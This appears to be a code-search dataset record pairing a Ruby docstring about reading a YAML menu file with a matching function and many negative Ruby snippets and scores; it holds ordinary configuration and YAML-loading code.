"def copy_javascripts\n if ::Rails.version[0..2].to_f >= 3.1\n #puts \"The javascripts do not need to be installed since Rails 3.1\"\n else\n copy_file \"../../../../../app/assets/javascripts/on_the_spot_code.js\", \"public/javascripts/on_the_spot.js\"\n copy_file \"../../../../../app/assets/javascripts/jquery.jeditable.js\", \"public/javascripts/jquery.jeditable.js\"\n copy_file \"../../../../../app/assets/javascripts/jquery.jeditable.checkbox.js\", \"public/javascripts/jquery.jeditable.checkbox.js\"\n copy_file \"../../../../../app/assets/stylesheets/on_the_spot.css\", \"public/stylesheets/on_the_spot.css\"\n end\n end",
"def active_scaffold_javascripts(frontend = :default)\n super\n #super + [calendar_date_select_javascripts]\n end",
"def files_to_page\n insert_to_page('div', html)\n insert_to_page('script', js, false)\n insert_to_page('style', style, false)\n end"
] | [
"0.6485849",
"0.6485849",
"0.6485849",
"0.64739686",
"0.6299058",
"0.61935127",
"0.61459655",
"0.61226565",
"0.6059311",
"0.6055932",
"0.59855545",
"0.59567815",
"0.5956619",
"0.59234136",
"0.59033644",
"0.5898321",
"0.5866324",
"0.5847276",
"0.5825192",
"0.5819462",
"0.58081245",
"0.5803153",
"0.5765262",
"0.5765262",
"0.5687334",
"0.56794775",
"0.56752753",
"0.56726855",
"0.56665003",
"0.56665003",
"0.5656903",
"0.5631389",
"0.5622007",
"0.5622007",
"0.5622007",
"0.5617768",
"0.55907845",
"0.55781376",
"0.55768406",
"0.55732274",
"0.55672324",
"0.5554905",
"0.5550555",
"0.55444205",
"0.55386955",
"0.5530365",
"0.55060995",
"0.5504736",
"0.5495178",
"0.5495178",
"0.5488264",
"0.5485457",
"0.54678416",
"0.5448306",
"0.5448194",
"0.5437497",
"0.54348487",
"0.54173124",
"0.54173124",
"0.54173124",
"0.54096204",
"0.5407571",
"0.5405464",
"0.54054296",
"0.53908896",
"0.5384353",
"0.5383988",
"0.5383865",
"0.53808117",
"0.53798556",
"0.537441",
"0.53581864",
"0.5352729",
"0.53444517",
"0.5343877",
"0.53408724",
"0.533844",
"0.5338156",
"0.5332259",
"0.53298336",
"0.5327756",
"0.53228587",
"0.5320264",
"0.5313917",
"0.5313917",
"0.5313917",
"0.53098553",
"0.5303048",
"0.529971",
"0.5295819",
"0.5291453",
"0.52876496",
"0.5275868",
"0.5274988",
"0.5272388",
"0.52608037",
"0.5254132",
"0.52466154",
"0.52394605",
"0.5233994",
"0.5227717"
] | 0.0 | -1 |
To be overloaded, but here to prevent errors if we don't define initialize def initialize(config) end | def children
@children ||= {}
child_definitions.keys.each{|p| @children[p] ||= cell(p)} unless child_definitions.nil?
@children
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(_config)\n raise NotImplementedError, \"must implement ##{__method__}\"\n end",
"def initialize(config = {})\n\t\tsuper # check syntax\n\tend",
"def initialize(config = {})\n\t\tsuper # check syntax\n\tend",
"def initialize(config)\n\t\tend",
"def initialize(config = {})\n super\n original_initialize(config)\n end",
"def initialize(config)\n end",
"def initialize(config)\n end",
"def initialize(*args)\n initialize_config unless instance_variable_defined?(:@config)\n super\n end",
"def initialize\n set_config\n end",
"def initialize(config = {})\n init_config(config)\n end",
"def initialize(config = {})\n init_config(config)\n end",
"def initialize(config = {})\n init_config(config)\n end",
"def initialize(config = nil)\n @config = config\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config={})\n @config = config\n end",
"def initialize(config = {})\n super config\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config = {})\n @config = config\n end",
"def initialize(config = {})\n super\n @config = config\n end",
"def initialize(config)\n # [review] - Not sure if passing config here is best way to access it\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n @config = config\n end",
"def initialize(config = {})\n @config = OpenStruct.new(config)\n validate_config!\n end",
"def initialize(config = nil)\n @config = config\n setup\n end",
"def initialize(config=nil)\n @config = Util.to_hash(config)\n end",
"def initialize(arg=nil)\n set_from_config!(arg) if arg\n end",
"def initialize(config=nil)\n super()\n read_config(config) if !config.nil?\n end",
"def initialize(config=nil)\n super()\n read_config(config) if !config.nil?\n end",
"def initialize(...)\n super()\n configure(...)\n end",
"def initialize(config)\n @config = config\n setup\n end",
"def initialize() end",
"def initialize(config)\n @config = config\n @config.symbolize_keys!\n @check_all = true\n end",
"def initialize(app, config = T.unsafe(nil)); end",
"def initialize\n @config = OpenStruct.new\n end",
"def initialize(config)\n case config\n when String\n @config = Snooper::Config.load config\n else\n @config = config\n end\n end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(config, args)\n @config = config\n @args = args\n end",
"def initialize(config = nil)\n self.config = config || Cartage::Config.load(:default)\n end",
"def initialize(config={})\n @configuration = config\n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize\n yield self\n Config.apply(self)\n end",
"def initialize(config: nil, connection: nil, context: nil)\n super(config: config, connection: connection, context: context)\n end",
"def initialize(config)\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n @config = config\n return true\n end",
"def initialize(config = {})\n @connection = nil\n init_config(config)\n end",
"def initialize()\n raise \"#{self.class.to_s} should not be instantiated directly.\"\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def initialize(configuration = {})\n @config = configuration\n end",
"def initialize(configuration = {})\n @config = configuration\n end",
"def initialize(config)\n raise TypeError, \"'config' needs to be a string\" unless config.is_a?(String)\n raise TypeError, \"Configuration file '#{config}' cannot be found\" unless File.exist? config\n\n begin\n # open base config\n @config = load(config)\n # set default value if key? does not exist\n @config.default = nil\n @@config = config\n rescue StandardError => e\n print_error \"Fatal Error: cannot load configuration file '#{config}' : #{e.message}\"\n print_more e.backtrace\n exit(1)\n end\n\n @@instance = self\n end",
"def init\n raise NotImplementedError\n end",
"def initialize(config) # trackers, domain\n @@config = config\n check_config\n end",
"def initialize(config)\n self.config = config.clone\n\n self.source = config['source']\n self.dest = config['destination']\n\n self.partial_build = config['partial_site']\n\n self.reset\n end",
"def initialize( configuration )\n\n if configuration.is_a?(Module) && configuration.to_s == 'Edmodo'\n config = configuration\n elsif configuration.is_a?(Hash)\n config = Hashie::Rash.new( configuration )\n config.api_url = [config.endpoint,config.api_version].join('/')\n end\n\n if config.api_key\n self.class.default_params({ 'api_key' => config.api_key})\n else\n raise Edmodo::InvalidCredentials.new(\"Api Key is not present but it is required.\")\n end\n\n self.class.base_uri( config.api_url ) if config.api_url\n self.class.default_timeout config.timeout.to_f if config.timeout\n self.class.debug_output if config.testing\n self.class.headers({'User-Agent' => config.user_agent}) if config.user_agent\n end",
"def initialize(conf = {})\n super(conf) ;\n setup() ;\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def initialize(url_config)\n super()\n @url_config = url_config\n end",
"def initialize(*args); end",
"def initialize(name)\n @config = {}\n super(name)\n end",
"def initialize\n @config = config_from_file || empty_config\n end",
"def initialize(data_source_config)\n end",
"def initialize\n config.base_uri = Config::BASE_URI\n config.user_agent = Config::USER_AGENT\n config.extend(Config)\n end",
"def initialize()\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize(conf = nil)\n @conf = conf || default_config\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize(arg = nil)\n parse_arg arg if arg\n parse_config\n end",
"def initialize\n @config = DEFAULT_CONFIG.deep_dup\n end",
"def initialize( configuration )\n\n if configuration.is_a?(Module) && configuration.to_s == 'Edelements'\n config = configuration\n elsif configuration.is_a?(Hash)\n config = Hashie::Rash.new( configuration )\n config.api_url = [config.endpoint,config.api_version].join('/')\n end\n\n #if config.api_key\n #self.class.default_params({ 'api_key' => config.api_key})\n #else\n #raise Edelements::InvalidCredentials.new(\"Api Key is not present but it is required.\")\n #end\n\n self.class.base_uri( config.api_url ) if config.api_url\n self.class.default_timeout config.timeout.to_f if config.timeout\n self.class.debug_output if config.testing\n self.class.headers({'User-Agent' => config.user_agent}) if config.user_agent\n end"
] | [
"0.8678481",
"0.8411713",
"0.8411713",
"0.8376905",
"0.8345786",
"0.82627934",
"0.82627934",
"0.81267637",
"0.7954233",
"0.7929972",
"0.7929972",
"0.7929972",
"0.7869929",
"0.7866758",
"0.7866758",
"0.7859709",
"0.78158414",
"0.7810258",
"0.7810258",
"0.7810258",
"0.77975273",
"0.77794725",
"0.7763838",
"0.7697022",
"0.7690745",
"0.7683939",
"0.75767803",
"0.75496393",
"0.75496393",
"0.751942",
"0.7512444",
"0.74981",
"0.7480531",
"0.74730176",
"0.7458835",
"0.741007",
"0.7398666",
"0.7398666",
"0.7398666",
"0.7398666",
"0.7398666",
"0.739418",
"0.73505634",
"0.729977",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.7244911",
"0.72349715",
"0.71676123",
"0.7158828",
"0.7150121",
"0.71443546",
"0.7116104",
"0.7116104",
"0.71145517",
"0.71145517",
"0.7087751",
"0.70845836",
"0.7081112",
"0.7075614",
"0.70710486",
"0.7050658",
"0.7049489",
"0.7049489",
"0.7049489",
"0.7049489",
"0.7049489",
"0.7049489",
"0.7049489",
"0.7049489",
"0.70438606",
"0.70438606",
"0.70438606",
"0.70438606",
"0.70438606",
"0.704159",
"0.70392466",
"0.7030671",
"0.70302904",
"0.70285755",
"0.7003325",
"0.6996466",
"0.69871914",
"0.69871914",
"0.69871914",
"0.6982429",
"0.69742805",
"0.69742805",
"0.69742805",
"0.69742805",
"0.69725907",
"0.6962117",
"0.694249"
] | 0.0 | -1 |
Read a yaml file containing a menu | def read_yml_menu(filename)
# Load the yaml file into a hash
settings = YAML::load_file filename
# These are now hashes with ingredient name as key
# with hashes representing ingredients, that contain metadata such as prices
meats = settings[:ingredients][:meats]
vegetables = settings[:ingredients][:vegetables]
dressings = settings[:ingredients][:dressings]
leaf = settings[:ingredients][:leaf]
# Convert to format using ingredient classes
ingredients = { :meats => hash_to_ingredient(meats), :vegetables => hash_to_ingredient(vegetables), :dressings => hash_to_ingredient(dressings), :leaf => hash_to_ingredient(leaf)}
sizes = settings[:sizes]
return ingredients, sizes
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read file=STDIN\n\n yaml = case file\n when String\n raise \"Input file not defined\" unless file\n raise \"Input file does not exist\" unless File.exist? file\n raise \"Input file is not readable \" unless File.readable? file\n \n File.read(file)\n when IO\n file.read\n end\n\n raise \"Cannot read YAML data\" unless yaml\n load yaml\n end",
"def load_yml(filename); end",
"def read_file(path)\r\n YAML::load( File.open(path) )\r\n end",
"def get_menu_path\n until @yaml\n Yuyi.say 'Navigate to a menu file...', :type => :success\n Yuyi.ask \"...or just press enter to load `#{Yuyi::DEFAULT_MENU}`\", :readline => true do |user_path|\n menu_path = user_path.empty? ? Yuyi::DEFAULT_MENU : user_path\n load_from_file menu_path\n end\n end\n end",
"def load_yaml(filename); end",
"def read_yaml(path)\n data = File.read path\n\n # Necessary to be backward-compatible with documentation generated\n # by earliar RDoc versions.\n data = data.gsub(/ \\!ruby\\/(object|struct):(RDoc::RI|RI).*/, '')\n data = data.gsub(/ \\!ruby\\/(object|struct):SM::(\\S+)/,\n ' !ruby/\\1:RDoc::Markup::\\2')\n\n OpenStructHash.convert YAML.load(data)\n end",
"def load_from_file menu_path = @menu_path\n if !menu_path || menu_path.empty?\n get_menu_path\n return\n end\n\n unless @menu_path\n # check if path is local first\n begin\n File.open(File.expand_path(menu_path))\n\n @menu_path = File.expand_path(menu_path)\n\n # otherwise assume it is remote and try to download it\n rescue\n # try to download the menu path\n response = Yuyi.run \"curl -sS #{menu_path}\"\n\n # save a local copy of the remote menu\n if $?.success?\n # if a menu was downloaded, save the response to a local file\n local_file_name = Yuyi::DEFAULT_MENU.clone << '_remote'\n\n File.open local_file_name, 'w+' do |f|\n f.write response\n end\n\n @menu_path = local_file_name\n end\n end\n end\n\n begin\n @yaml = YAML.load(File.open(@menu_path)).deep_symbolize_keys!\n rescue\n Yuyi.say \"No menu could be loaded from `#{menu_path}`\", :type => :fail\n get_menu_path\n end\n end",
"def load_yaml(args = {})\n file = File.read(args[:file] || CMUX_YAML)\n yaml = YAML.load(file)\n args[:key] ? yaml[args[:key]] : yaml\n rescue Psych::SyntaxError\n message = \"Make sure you've written #{file} in YAML Simple Mapping.\" \\\n ' Please check README.'\n raise message.red\n end",
"def yaml(*files, **options, &block) = read(*files, parse: :yaml, ext: ['.yml', '.yaml'], **options, &block)",
"def parse(path)\n YAML.load(File.read(path))\n end",
"def load(args)\n YAML::load_file(args[:file_name])\n end",
"def loadyaml(filename) YAML.load_file(filename) end",
"def read_yml(filename)\n YAML.load(File.read(filename))\n end",
"def read_definitions_file\n if ::File.exist?(definitions_file_path)\n ::YAML.safe_load(File.read(definitions_file_path)) || []\n else\n raise LoadError, \"Could not find menus.yml file! Please run `rails generate alchemy:install`\"\n end\n end",
"def read_definitions_file\n if ::File.exist?(definitions_file_path)\n ::YAML.safe_load_file(definitions_file_path) || []\n else\n raise LoadError, \"Could not find menus.yml file! Please run `rails generate alchemy:install`\"\n end\n end",
"def load_from_yaml(file)\n document_lines = File.readlines(file)\n\n headers = document_lines.enum_for(:each_with_index).\n find_all { |line, _| line =~ /^---/ }\n if headers.empty? || headers.first[1] != 0\n headers.unshift [\"--- name:default\", -1]\n end\n\n options = headers.map do |line, line_number|\n line_options = Hash.new\n line = line.chomp\n line.split(/\\s+/)[1..-1].each do |opt|\n if opt =~ /^(\\w+):(.*)$/\n line_options[$1] = $2\n else\n raise ArgumentError, \"#{file}:#{line_number}: wrong format #{opt}, expected option_name:value, where 'value' has no spaces\"\n end\n end\n line_options['merge'] = (line_options['merge'] == 'true')\n line_options['chain'] = (line_options['chain'] || '').split(',')\n [line_options, line_number]\n end\n options[0][0]['name'] ||= 'default'\n\n options.each do |line_options, line_number|\n if !line_options['name']\n raise ArgumentError, \"#{file}:#{line_number}: missing a 'name' option\"\n end\n end\n\n sections = []\n options.each_cons(2) do |(_, line0), (_, line1)|\n sections << document_lines[line0 + 1, line1 - line0 - 1]\n end\n sections << document_lines[options[-1][1] + 1, document_lines.size - options[-1][1] - 1]\n\n changed_sections = []\n @conf_options = options\n\n sections.each_with_index do |doc, idx|\n doc = doc.join(\"\")\n doc = evaluate_dynamic_content(file, doc)\n\n result = YAML.load(StringIO.new(doc))\n\n conf_options = options[idx].first\n name = conf_options.delete('name')\n changed = in_context(\"while loading section #{name} of #{file}\") do\n add(name, result || Hash.new, conf_options)\n end\n\n if changed\n changed_sections << name\n end\n end\n\t if !changed_sections.empty?\n\t \t@merged_conf.clear\n\t end\n changed_sections\n rescue Exception => e\n raise e, \"error loading #{file}: #{e.message}\", e.backtrace\n end",
"def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"def yaml_load filename\n yaml_string = File.read filename\n\n YAML::load yaml_string\nend",
"def load_yaml_file file\r\n load_yaml \"parse_file\", file\r\n end",
"def yaml_load(file)\n\t\tYAML.load_file(file.to_s)\n\tend",
"def yaml_load(filename)\n\t\tbegin\n\t\t YAML::load(File.read filename)\n\t\trescue\n\t\t\tputs \"Unable to read from file '#{ filename }'.\"\n\t\t\tnil\n\t\tend\n\tend",
"def yaml(filename)\n YAML.load(IO.read(filename).gsub(/---\\z/, ''))\nend",
"def configure_by_yaml(path=nil)\n unless path\n # Display file explorer\n path = Qt::FileDialog.getOpenFileName(self, \"Open configuration file\", \".\", \"YAML Files (*.yml *.yaml)\")\n end\n\n begin \n # Load configuration from YAML\n hash = YAML.load(open(path))\n \n # Sanity checks:\n error = nil\n \n if hash.keys.max > @container_hash.keys.max\n error = \"Higher position value in file than #containers available.\"\n elsif hash.size > @container_hash.size\n error = \"More config items in file than containers available.\"\n end\n \n if error\n msg_box = Qt::MessageBox.new\n msg_box.set_text(\"Problem with YAML import:\")\n msg_box.set_informative_text(error)\n msg_box.exec\n return\n end\n \n # Disconnect, update configuration and connect for each container\n hash.each do |pos, config|\n container = @container_hash[pos]\n container.disconnect\n container.configure_by_obj(config)\n container.connect if config\n end\n rescue Exception => e\n Vizkit.error \"A problem occured while trying to open '#{path}': \\n#{e.message}\"\n Vizkit.error e.backtrace.inspect \n end\n end",
"def read_yaml_data_file filename\n data = {}\n File.open(filename, 'r') do |f|\n data = YAML.load(f)\n end\n data\nend",
"def read_yaml_data_file filename\n data = {}\n File.open(filename, 'r') do |f|\n data = YAML.load(f)\n end\n data\nend",
"def load\n if File.file?(@file_name)\n File.open(@file_name, 'r') do |file|\n YAML::load(file)\n end\n else\n default\n end\n end",
"def read_yaml_file(file)\n if File.exist?(file)\n return YAML::load(File.read(file))\n end\n raise \"-- ERROR: file doesn't exist: \" + file\n end",
"def load_yaml\n if has_file? \"#{name}.yml\"\n YAML.load_file(path / \"#{name}.yml\").apply_to self\n end\n end",
"def data_links\r\n puts \"pwd:\"\r\n puts Dir.pwd\r\n\r\n data = YAML.load_file( './data/links.yml' )\r\n puts data.inspect\r\n data\r\nend",
"def load_yaml(path) # Path must be in /data\n # path must be a yaml file path\n YAML.load_file(File.join(__dir__, \"../data/#{path}.yml\"))\n # YAML keys will be allways strings (never symbols)\n # Returns hash of values (strings)\nend",
"def read_yaml(base, name, opts = {})\n begin\n self.content = File.read(File.join(base, name),\n merged_file_read_opts(opts))\n if content =~ /\\A(---\\s*\\n.*?\\n?)^((---|\\.\\.\\.)\\s*$\\n?)/m\n self.content = $POSTMATCH\n self.data = SafeYAML.load($1)\n end\n rescue SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n rescue Exception => e\n Jekyll.logger.warn \"Error reading file #{File.join(base, name)}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"def load_yaml(path)\n YAML.load_file File.expand_path(\"../#{path}\", File.dirname(__FILE__))\n end",
"def load_menu\n\t\ti = 1\n File.new(\"saved_games.yaml\",\"w\") unless File.exist?(\"saved_games.yaml\")\n if File.read(\"saved_games.yaml\").empty?\n puts \"There are no saved games, yet.\"\n initialize\n else\n YAML.load_stream(File.open(\"saved_games.yaml\")) do |saved_game|\n puts \"#{i}: \" + saved_game[-1].strftime(\"%m/%d/%Y %I:%M%P\")\n i += 1\n end\n puts \"\"\n puts \"Choose a game to load or \\\"exit\\\" to menu:\"\n game_index = gets.chomp.strip.downcase\n if game_index == \"exit\"\n initialize\n elsif game_index.to_i <= i && game_index.to_i >= 1\n game_index = game_index.to_i\n i = 1\n File.new(\"temp.yaml\",\"w\")\n puts \"\"\n YAML.load_stream(File.open(\"saved_games.yaml\")) do |game|\n if i == game_index\n \t@gameboard = game[0]\n @pieces = game[1]\n @player_color = game[2]\n else\n File.open(\"temp.yaml\",\"a\") do |out|\n YAML::dump(game,out)\n end\n end\n i += 1\n end\n File.delete(\"saved_games.yaml\")\n File.rename(\"temp.yaml\",\"saved_games.yaml\")\n Chess.new(@gameboard,@pieces,@player_color)\n else\n puts \"Invalid input. Try again...\"\n puts \"\"\n load_menu\n end\n end\n\tend",
"def read_yaml(base, name)\n self.content = File.read(File.join(base, name))\n\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = $POSTMATCH\n\n begin\n self.data = YAML.load($1)\n rescue => e\n puts \"YAML Exception reading #{name}: #{e.message}\"\n end\n end\n\n self.data ||= {}\n end",
"def yaml_file?; end",
"def yaml\n @yaml ||= YAML.load_file path\n rescue StandardError\n {}\n end",
"def load_state file=nil\n file=App.outpath + \"save.rb\" if file.nil?\n f=File.open(file,'r')\n content=f.read\n # puts content\n App.out= YAML.load(content)\n f.close\nend",
"def read_concept_file(path)\n YAML.load(File.read path)\n end",
"def getDataFrom_FieldPermission_YmlFile(yamlInfo)\n YAML.load_file(\"./config/FieldPermission.yml\")[yamlInfo]\nend",
"def pets\n load_yaml('personaje/pets')\nend",
"def read_template(name)\n File.open(\"#{resource_template_dir}/#{name}.yaml\").read\n end",
"def load_yaml(filename)\n\t\tpath = File.realpath(filename)\n\t\tdata = YAML.load_file(path)\n\t\tload_hash(data)\n\tend",
"def read(opts = {})\n Jekyll.logger.debug \"Reading:\", relative_path\n\n if yaml_file?\n @data = SafeYAML.load_file(path)\n else\n begin\n merge_defaults\n read_content(**opts)\n read_post_data\n rescue StandardError => e\n handle_read_error(e)\n end\n end\n end",
"def read_input(input)\n YAML.load_file(input)\nrescue => e\n raise \"Unable to open #{input}: #{e.message}\"\nend",
"def load_module_yaml(file_name)\n\t\tFile.open(file_name) { |file| YAML.load(file) }\n\tend",
"def read_codefile\n y = YamlReader.new(@@options.codefile)\n yamltab = y.parse\n end",
"def read_yaml(base, name)\n begin\n text = File.read(File.join(base, name))\n data = {'layout'=>'default'}\n\n if page_yaml = transfiguration['page_yaml']\n data.merge!(page_yaml)\n end\n\n # commented metadata\n if text =~ /<!--\\s+---\\s*(.*?)-->\\s*$\\n?/m\n text.delete($0)\n data.merge!(YAML.safe_load($1))\n end\n\n self.content = text\n self.data = data\n rescue SyntaxError => e\n puts \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n rescue Exception => e\n puts \"Error reading file #{File.join(base, name)}: #{e.message}\"\n end\n\n unless self.data['layout']\n self.data['layout'] = 'page'\n end\n\n return self.data\n end",
"def read_yaml(base, name)\n path = File.join(base, name)\n self.content = File.read(path)\n relative_base = base.gsub(Dir.pwd, \"\")\n if relative_base.start_with?(\"/#{JDoc::DocumentationFile.documentation_directory}\")\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = $POSTMATCH\n begin\n self.data = YAML.load($1)\n rescue => e\n puts \"YAML Exception reading #{name}: #{e.message}\"\n end\n self.data[\"layout\"] = \"documentation\" if self.data[\"layout\"].nil?\n self.data[\"title\"] = JDoc::DocumentationFile.file_title(path) if self.data[\"title\"].nil?\n return\n elsif self.content =~ /^(---\\s*\\n.*?\\n?)/m\n self.content = $POSTMATCH\n self.data = {\n \"layout\" => \"documentation\",\n \"title\" => JDoc::DocumentationFile.file_title(path)\n }\n return\n end\n end\n\n read_yaml_original(base, name)\n end",
"def config\n\tYAML.load(File.open(\"config.yaml\"))\nend",
"def read_data dir = DIR[:data][:verbs]\n\t\t\tfilepath = File.join dir, \"#{self.class.name.sub('Verbs::','')}.yml\"\n\t\t\treturn {\n\t\t\t\t'keywords' => [self.class.to_s.downcase]\n\t\t\t} unless (File.file? filepath)\n\t\t\treturn YAML.load_file filepath\n\t\tend",
"def read_yaml(base, name)\n filename = File.join(base, name)\n\n begin\n content = File.read(filename)\n if content =~ Jekyll::Document::YAML_FRONT_MATTER_REGEXP\n content = $POSTMATCH # rubocop:disable Lint/UselessAssignment\n data = SafeYAML.load(Regexp.last_match(1))\n end\n rescue SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n rescue StandardError => e\n Jekyll.logger.warn \"Error reading file #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n end\n\n data || {}\n end",
"def load_yaml_file(path)\n if (file = find_data_file(path))\n YAML.load_file(file)\n end\n end",
"def data\n YAML::load_file(files[:config])\n end",
"def yaml_load(file_path)\n YAML.load(File.read(file_path)).to_smash\n end",
"def read_yaml(base, name, opts = T.unsafe(nil)); end",
"def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"def parse_file(path)\n begin\n _config = YAML.safe_load(File.read(path))\n rescue StandardError => _e\n str_error=\"Unable to read '#{path}'. Invalid YAML syntax:\\n\"\n\n raise str_error\n end\n end",
"def list_post(file_path)\n YAML::load(File.read(file_path));\nend",
"def parse_file(source)\n begin\n yaml_pattern = /\\A(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n if source =~ yaml_pattern\n data = YAML.load($1)\n content = $POSTMATCH\n else\n data = {}\n content = source\n end\n rescue => e \n puts \"Error reading file #{File.join(ARGV[0])}: #{e.message}\"\n end\n return [data, content]\n end",
"def formatting(file)\n data = File.read(file)\n\n YAML.load(data)\n end",
"def read_metadata(path)\n unless path\n abort \"Must exist a markdown filename which have Yaml Front Matter.\"\n end\n yml, _ = Maliq::FileUtils.retrieveYFM(File.read path)\n return nil if yml.empty?\n YAML.load(yml).to_symkey\n end",
"def read_yaml(base, name, opts = {})\n filename = @path || site.in_source_dir(base, name)\n Jekyll.logger.debug \"Reading:\", relative_path\n\n begin\n self.content = File.read(filename, **Utils.merged_file_read_opts(site, opts))\n if content =~ Document::YAML_FRONT_MATTER_REGEXP\n self.content = Regexp.last_match.post_match\n self.data = SafeYAML.load(Regexp.last_match(1))\n end\n rescue Psych::SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n rescue StandardError => e\n Jekyll.logger.warn \"Error reading file #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n end\n\n self.data ||= {}\n\n validate_data! filename\n validate_permalink! filename\n\n self.data\n end",
"def load_database_yaml; end",
"def load_database_yaml; end",
"def grabTree(filename)\n inTree = nil\n File.open(filename, \"r\").each do |of|\n inTree = YAML::load(of)\n end\n inTree\n end",
"def read_config_file\n config_path = File.expand_path(File.dirname(__FILE__)+\"/../../\")\n YAML.load_file(\"#{config_path}/config/#{@type}/config.yaml\")\n end",
"def load\n @filename = File.expand_path(file_name('feeds.yml'))\n end",
"def yaml\n parse_yaml_string(yaml_string(config_file), config_file)\n end",
"def load_yaml(file)\n require 'yaml'\n tokens = YAML.load_file(file)\n tokens.each do |token, category|\n @db[token] = category\n end\n end",
"def load_map_file map_file\n return YAML.load(map_file.read)\nend",
"def read!\n file = root + FILENAME\n if file.exist?\n data = YAML.load(File.new(file))\n data.each do |name, value|\n self[name] = value\n end\n end\n return self\n end",
"def initialize path\n # make menu instance accessible by the class\n @@menu = self\n @rolls = {}\n @sources = []\n\n # load a yaml file\n load_from_file path\n\n # create objects from the menu\n set_sources\n set_roll_models\n set_rolls\n end",
"def load_items\n return @items unless YAML.load_file(file)\n\n YAML.load_file(file).each do |key, texts|\n texts.each do |text|\n @items << Item.new(\"#{text} #{key}\") if key.to_s != '@done'\n end\n end\n @items\n end",
"def yaml( *args )\n ::Logging::Layouts::Parseable.yaml(*args)\n end",
"def read_input_params options_cli={}\n #utility sub\n def find_first_yaml_file(dir_to_process)\n Dir.chdir(dir_to_process)\n yaml_file = nil\n Dir.glob(\"*.{yaml,yml}\") do |file|\n yaml_file = file\n break\n end \n return yaml_file\n end\n\n # read input args\n dir_to_process = Dir.pwd\n fail(\"#{dir_to_process} does not exist\") unless File.exist?(dir_to_process) \n fail(\"#{dir_to_process} is not a Directory\") unless File.directory?(dir_to_process)\n $log.info \"Dir to be processed: #{dir_to_process}\"\n \n yaml_name = options_cli['--event']||find_first_yaml_file(dir_to_process)\n fail(\"- no YAML File found;\") if yaml_name.nil? \n fail(\"- no YAML File found;\") unless File.file?(yaml_name)\n $log.info \"YAML Profile to be processed: #{yaml_name}\"\n return [dir_to_process, yaml_name]\nend",
"def load_file(filename='~/grapevine.yml')\n filename = File.expand_path(filename)\n hash = YAML.load(File.open(filename))\n load(hash)\n end",
"def load(file)\r\n help = \"Use `srcpress gen-config` to generate a template config file\"\r\n Message::Error.no_file(\"config\", file, help) unless File.exist?(file)\r\n\r\n press_yml = YAML.load_file(file)\r\n self.output = press_yml[\"OutputFile\"]\r\n self.ovr_output = press_yml[\"OverrideOutput\"]\r\n self.import_kwords = press_yml[\"ImportKeywords\"]\r\n\r\n press_yml[\"FileOrder\"]\r\n end",
"def load\n if File.exists? @file\n @main = YAML::load_file @file\n else\n self.load_defaults\n end\n end",
"def simple_yaml_load1(file)\n r = []\n File.read(file).split(\"\\n\").each do |line|\n e = line.split(\": \", 2).map(&:strip)\n next if e.size != 2\n r.push(e)\n end\n return r\nend",
"def load_config name\r\n path = File.join(DeployConfig, name + \".yml\")\r\n return YAML::load(File.open(path))\r\n end",
"def definitions_file_path\n Rails.root.join \"config/alchemy/menus.yml\"\n end",
"def definitions_file_path\n Rails.root.join 'config/alchemy/menus.yml'\n end",
"def load_config_from_yaml(path)\n config = load_config(path)\n\n # validate loaded yaml data\n validate_config config\n\n config.each do |key, value|\n Mihari.config.send(\"#{key.downcase}=\".to_sym, value)\n end\n end",
"def read\n @metadata = {}\n @content = File.read(path)\n\n if @content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n @content = $POSTMATCH\n\n begin\n @metadata = YAML.load($1)\n raise unless @metadata.is_a? Hash\n rescue => ex\n $stderr.puts \"#{File.basename($PROGRAM_NAME)}: #{ex.to_s}\"\n $stderr.puts \"WARNING: Couldn't load metadata.\"\n @metadata = {}\n end\n\n @metadata.symbolize_keys!\n import_metadata\n end\n end",
